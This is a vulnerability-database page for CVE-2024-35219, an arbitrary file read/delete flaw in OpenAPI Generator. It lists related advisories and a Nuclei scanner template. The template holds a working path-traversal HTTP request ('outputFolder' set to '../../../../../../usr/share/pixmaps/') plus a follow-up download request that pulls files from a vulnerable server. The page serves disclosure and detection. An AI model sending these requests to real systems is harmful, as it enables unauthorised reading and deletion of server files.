OpenAPI Generator <= 7.5.0 - Arbitrary File Read/Delete
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| The vulnerability of the OpenAPI Generator software for automatically generating client libraries arises from incorrect restrictions on the path name to the restricted access directory. This allows attackers to circumvent security restrictions and gain read, modify, or delete access to data. | 31 Jul 202400:00 | – | bdu_fstec | |
| CVE-2024-35219 | 24 Dec 202400:00 | – | circl | |
| OpenAPI Tools OpenAPI Generator 安全漏洞 | 27 May 202400:00 | – | cnnvd | |
| CVE-2024-35219 | 27 May 202416:11 | – | cve | |
| CVE-2024-35219 OpenAPI Generator Online - Arbitrary File Read/Delete | 27 May 202416:11 | – | cvelist | |
| OpenAPI Generator Online - Arbitrary File Read/Delete | 28 May 202415:47 | – | github | |
| CVE-2024-35219 | 27 May 202416:15 | – | nvd | |
| GHSA-G3HR-P86P-593H OpenAPI Generator Online - Arbitrary File Read/Delete | 28 May 202415:47 | – | osv | |
| PT-2024-5292 · Unknown · Openapi Generator | 27 May 202400:00 | – | ptsecurity | |
| CVE-2024-35219 | 27 May 202422:29 | – | redhatcve |
10
id: CVE-2024-35219
info:
name: OpenAPI Generator <= 7.5.0 - Arbitrary File Read/Delete
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
OpenAPI Generator versions 7.5.0 and below are prone to an Arbitrary File Read/Delete vulnerability. Attackers can exploit this vulnerability to read and delete files and folders from an arbitrary, writable directory.
impact: |
Authenticated attackers can read and delete arbitrary files and folders from writable directories.
remediation: |
Update OpenAPI Generator to a version later than 7.5.0.
reference:
- https://www.sonarsource.com/blog/the-power-of-taint-analysis-uncovering-critical-code-vulnerability-in-openapi-generator/
- https://github.com/OpenAPITools/openapi-generator/commit/edbb021aadae47dcfe690313ce5119faf77f800d
- https://github.com/OpenAPITools/openapi-generator/pull/18652
- https://github.com/OpenAPITools/openapi-generator/security/advisories/GHSA-g3hr-p86p-593h
- https://nvd.nist.gov/vuln/detail/CVE-2024-35219
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H
cvss-score: 8.3
cve-id: CVE-2024-35219
cwe-id: CWE-22
epss-score: 0.03592
epss-percentile: 0.885
metadata:
max-request: 2
verified: true
tags: cve,cve2024,openapi,intrusive,lfi,vkev,vuln
flow: http(1) && http(2)
http:
- raw:
- |
POST /api/gen/clients/csharp HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"authorizationValue": {
"keyName": "string",
"type": "string",
"value": "string"
},
"openAPIUrl": "https://raw.githubusercontent.com/OpenAPITools/openapi-generator/master/modules/openapi-generator/src/test/resources/2_0/petstore.yaml",
"options": {"outputFolder":"../../../../../../usr/share/pixmaps/"},
"spec": {}
}
matchers:
- type: word
part: body
words:
- code
- link
condition: and
internal: true
extractors:
- type: json
name: code
part: body
json:
- '.code'
internal: true
- raw:
- |
GET /api/gen/download/{{code}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- "pixmaps/debian-logo.png"
# digest: 490a004630440220786f103421bbf6c58659941d3138f21cdaf5fa67fe074b9a42e41af1be7da826022064c500729a1e8981442cd0ee5e6af43741969e4f818dddc25c8d8707791be537:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Feb 2026 07:00Current
7.9High risk
Vulners AI Score7.9
CVSS 3.18.3
EPSS0.03592
SSVC